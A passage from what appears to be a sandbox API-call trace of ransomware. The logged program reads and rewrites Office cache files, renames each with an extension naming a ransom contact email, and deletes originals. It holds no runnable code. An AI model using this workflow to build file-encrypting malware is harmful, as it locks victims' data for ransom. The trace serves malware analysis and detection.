[0070.524] SetEndOfFile (hFile=0x200) returned 1 [0070.524] CloseHandle (hObject=0x200) returned 1 [0070.524] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35cfec8 | out: lpNewFilePointer=0x0) returned 1 [0070.524] SetEndOfFile (hFile=0x1c0) returned 1 [0070.589] CloseHandle (hObject=0x1c0) returned 1 [0070.589] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0070.589] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 1 [0070.590] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0070.590] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0070.590] lstrlenW (lpString=".doc") returned 4 [0070.590] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0070.590] lstrlenW (lpString=".docx") returned 5 [0070.590] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0070.590] lstrlenW (lpString=".pdf") returned 4 [0070.590] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0070.590] lstrlenW (lpString=".xls") returned 4 [0070.590] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0070.590] lstrlenW (lpString=".xlsx") returned 5 [0070.590] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0070.590] lstrlenW (lpString=".ppt") returned 4 [0070.590] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0070.590] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0070.590] lstrlenW (lpString=".zip") returned 4 [0070.590] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0070.591] lstrlenW (lpString=".rar") returned 4 [0070.591] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0070.591] lstrlenW (lpString=".bz2") returned 4 [0070.591] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0070.591] lstrlenW (lpString=".7z") returned 3 [0070.591] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0070.591] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0070.591] lstrlenW (lpString=".dbf") returned 4 [0070.591] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0070.591] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0070.591] lstrlenW (lpString=".1cd") returned 4 [0070.591] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0070.591] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0070.591] lstrlenW (lpString=".jpg") returned 4 [0070.591] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0070.591] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0070.591] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0070.591] lstrlenW (lpString=".doc") returned 4 [0070.591] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0070.591] lstrlenW (lpString=".docx") returned 5 [0070.591] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0070.592] lstrlenW (lpString=".pdf") returned 4 [0070.592] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0070.592] lstrlenW (lpString=".xls") returned 4 [0070.592] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0070.592] lstrlenW (lpString=".xlsx") returned 5 [0070.592] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0070.592] lstrlenW (lpString=".ppt") returned 4 [0070.592] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0070.592] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0070.592] lstrlenW (lpString=".zip") returned 4 [0070.592] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0070.592] lstrlenW (lpString=".rar") returned 4 [0070.592] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0070.592] lstrlenW (lpString=".bz2") returned 4 [0070.592] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0070.592] lstrlenW (lpString=".7z") returned 3 [0070.592] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0070.592] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0070.592] lstrlenW (lpString=".dbf") returned 4 [0070.592] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0070.592] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0070.592] lstrlenW (lpString=".1cd") returned 4 [0070.592] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0070.593] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0070.593] lstrlenW (lpString=".jpg") returned 4 [0070.593] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0070.593] lstrcmpiW (lpString1=".cab", lpString2=".NEWS") returned -1 [0070.593] lstrlenW (lpString="ProPrWW2.cab") returned 12 [0070.593] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0070.593] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x35cff1c | out: lpFileSize=0x35cff1c*=222948913) returned 1 [0070.593] CloseHandle (hObject=0x1c0) returned 1 [0070.593] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab")) returned 0x2020 [0070.594] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0070.594] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 1 [0070.594] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0070.594] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35cfc6c | out: lpNewFilePointer=0x0) returned 1 [0070.594] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35cfc2c | out: lpNewFilePointer=0x0) returned 1 [0070.595] ReadFile (in: hFile=0x1c0, lpBuffer=0x3c80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3c80058*, lpNumberOfBytesRead=0x35cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0070.605] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x46dfa10, lpNewFilePointer=0x0, dwMoveMethod=0x35cfc2c | out: lpNewFilePointer=0x0) returned 1 [0070.605] ReadFile (in: hFile=0x1c0, lpBuffer=0x3cc0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3cc0058*, lpNumberOfBytesRead=0x35cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0070.823] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x35cfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0070.823] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0xd45ee31, lpNewFilePointer=0x0, dwMoveMethod=0x35cfc2c | out: lpNewFilePointer=0x0) returned 1 [0070.823] ReadFile (in: hFile=0x1c0, lpBuffer=0x3d00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3d00058*, lpNumberOfBytesRead=0x35cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0070.841] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35cfec8 | out: lpNewFilePointer=0x0) returned 1 [0070.841] WriteFile (in: hFile=0x1c0, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x35cfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x35cfcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0071.056] SetEndOfFile (hFile=0x1c0) returned 1 [0071.245] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40000) returned 0x3ee4858 [0071.245] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35cfc7c | out: lpNewFilePointer=0x0) returned 1 [0071.245] WriteFile (in: hFile=0x1c0, lpBuffer=0x3ee4858*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35cfc88, lpOverlapped=0x0 | out: lpBuffer=0x3ee4858*, lpNumberOfBytesWritten=0x35cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0071.246] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x46dfa10, lpNewFilePointer=0x0, dwMoveMethod=0x35cfc7c | out: lpNewFilePointer=0x0) returned 1 [0071.246] WriteFile (in: hFile=0x1c0, lpBuffer=0x3ee4858*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35cfc88, lpOverlapped=0x0 | out: lpBuffer=0x3ee4858*, lpNumberOfBytesWritten=0x35cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0071.252] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0xd45ee31, lpNewFilePointer=0x0, dwMoveMethod=0x35cfc7c | out: lpNewFilePointer=0x0) returned 1 [0071.252] WriteFile (in: hFile=0x1c0, lpBuffer=0x3ee4858*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35cfc88, lpOverlapped=0x0 | out: lpBuffer=0x3ee4858*, lpNumberOfBytesWritten=0x35cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0071.256] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3ee4858 | out: hHeap=0x5c0000) returned 1 [0071.256] CloseHandle (hObject=0x1c0) returned 1 [0071.257] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0071.257] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0071.257] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0071.257] lstrlenW (lpString=".doc") returned 4 [0071.257] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0071.257] lstrlenW (lpString=".docx") returned 5 [0071.257] lstrcmpiW (lpString1=".docx", lpString2="2.cab") returned -1 [0071.257] lstrlenW (lpString=".pdf") returned 4 [0071.257] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0071.257] lstrlenW (lpString=".xls") returned 4 [0071.257] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0071.258] lstrlenW (lpString=".xlsx") returned 5 [0071.258] lstrcmpiW (lpString1=".xlsx", lpString2="2.cab") returned -1 [0071.258] lstrlenW (lpString=".ppt") returned 4 [0071.258] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0071.258] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0071.258] lstrlenW (lpString=".zip") returned 4 [0071.258] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0071.258] lstrlenW (lpString=".rar") returned 4 [0071.258] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0071.258] lstrlenW (lpString=".bz2") returned 4 [0071.258] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0071.258] lstrlenW (lpString=".7z") returned 3 [0071.258] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0071.258] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0071.258] lstrlenW (lpString=".dbf") returned 4 [0071.258] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0071.258] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0071.258] lstrlenW (lpString=".1cd") returned 4 [0071.258] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0071.258] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0071.258] lstrlenW (lpString=".jpg") returned 4 [0071.258] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0071.259] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0071.259] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0071.259] lstrlenW (lpString=".doc") returned 4 [0071.259] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0071.259] lstrlenW (lpString=".docx") returned 5 [0071.259] lstrcmpiW (lpString1=".docx", lpString2="2.cab") returned -1 [0071.259] lstrlenW (lpString=".pdf") returned 4 [0071.259] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0071.259] lstrlenW (lpString=".xls") returned 4 [0071.259] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0071.259] lstrlenW (lpString=".xlsx") returned 5 [0071.259] lstrcmpiW (lpString1=".xlsx", lpString2="2.cab") returned -1 [0071.260] lstrlenW (lpString=".ppt") returned 4 [0071.260] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0071.260] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0071.260] lstrlenW (lpString=".zip") returned 4 [0071.260] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0071.260] lstrlenW (lpString=".rar") returned 4 [0071.260] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0071.260] lstrlenW (lpString=".bz2") returned 4 [0071.260] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0071.260] lstrlenW (lpString=".7z") returned 3 [0071.260] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0071.260] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0071.260] lstrlenW (lpString=".dbf") returned 4 [0071.260] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0071.260] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0071.260] lstrlenW (lpString=".1cd") returned 4 [0071.260] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0071.260] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0071.260] lstrlenW (lpString=".jpg") returned 4 [0071.260] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0071.261] lstrcmpiW (lpString1=".exe", lpString2=".NEWS") returned -1 [0071.261] lstrlenW (lpString="ose.exe") returned 7 [0071.261] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0071.303] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x35cff1c | out: lpFileSize=0x35cff1c*=174440) returned 1 [0071.303] CloseHandle (hObject=0x200) returned 1 [0071.304] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 0x2020 [0071.304] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0071.304] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0071.304] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35cfec8 | out: lpNewFilePointer=0x0) returned 1 [0071.304] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35cfec8 | out: lpNewFilePointer=0x0) returned 1 [0071.304] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0071.304] GetLastError () returned 0x0 [0071.304] ReadFile (in: hFile=0x200, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x35cfed4*=0x2a968, lpOverlapped=0x0) returned 1 [0071.323] WriteFile (in: hFile=0x1e4, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x2a970, lpNumberOfBytesWritten=0x35cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x35cfc9c*=0x2a970, lpOverlapped=0x0) returned 1 [0071.331] ReadFile (in: hFile=0x200, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x35cfed4*=0x0, lpOverlapped=0x0) returned 1 [0071.331] WriteFile (in: hFile=0x1e4, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x35cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x35cfc9c*=0xe2, lpOverlapped=0x0) returned 1 [0071.331] SetEndOfFile (hFile=0x1e4) returned 1 [0071.332] CloseHandle (hObject=0x1e4) returned 1 [0071.332] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35cfec8 | out: lpNewFilePointer=0x0) returned 1 [0071.332] SetEndOfFile (hFile=0x200) returned 1 [0071.336] CloseHandle (hObject=0x200) returned 1 [0071.336] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0071.337] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 1 [0071.337] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0071.337] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0071.337] lstrlenW (lpString=".doc") returned 4 [0071.337] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0071.338] lstrlenW (lpString=".docx") returned 5 [0071.338] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0071.338] lstrlenW (lpString=".pdf") returned 4 [0071.338] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0071.338] lstrlenW (lpString=".xls") returned 4 [0071.338] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0071.338] lstrlenW (lpString=".xlsx") returned 5 [0071.338] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0071.338] lstrlenW (lpString=".ppt") returned 4 [0071.338] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0071.338] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0071.338] lstrlenW (lpString=".zip") returned 4 [0071.338] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0071.338] lstrlenW (lpString=".rar") returned 4 [0071.338] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0071.338] lstrlenW (lpString=".bz2") returned 4 [0071.338] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0071.338] lstrlenW (lpString=".7z") returned 3 [0071.338] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0071.339] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0071.339] lstrlenW (lpString=".dbf") returned 4 [0071.339] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0071.339] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0071.339] lstrlenW (lpString=".1cd") returned 4 [0071.339] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0071.339] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0071.339] lstrlenW (lpString=".jpg") returned 4 [0071.339] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0071.339] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0071.339] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0071.339] lstrlenW (lpString=".doc") returned 4 [0071.339] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0071.339] lstrlenW (lpString=".docx") returned 5 [0071.340] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0071.340] lstrlenW (lpString=".pdf") returned 4 [0071.340] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0071.340] lstrlenW (lpString=".xls") returned 4 [0071.340] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0071.340] lstrlenW (lpString=".xlsx") returned 5 [0071.340] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0071.340] lstrlenW (lpString=".ppt") returned 4 [0071.340] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0071.340] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0071.340] lstrlenW (lpString=".zip") returned 4 [0071.340] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0071.340] lstrlenW (lpString=".rar") returned 4 [0071.340] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0071.340] lstrlenW (lpString=".bz2") returned 4 [0071.340] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0071.340] lstrlenW (lpString=".7z") returned 3 [0071.340] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0071.340] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0071.340] lstrlenW (lpString=".dbf") returned 4 [0071.341] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0071.341] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0071.341] lstrlenW (lpString=".1cd") returned 4 [0071.341] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0071.341] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0071.341] lstrlenW (lpString=".jpg") returned 4 [0071.341] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0071.341] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0071.341] lstrlenW (lpString="osetup.dll") returned 10 [0071.341] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0071.342] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x35cff1c | out: lpFileSize=0x35cff1c*=7378792) returned 1 [0071.342] CloseHandle (hObject=0x200) returned 1 [0071.342] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll")) returned 0x2020 [0071.342] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all 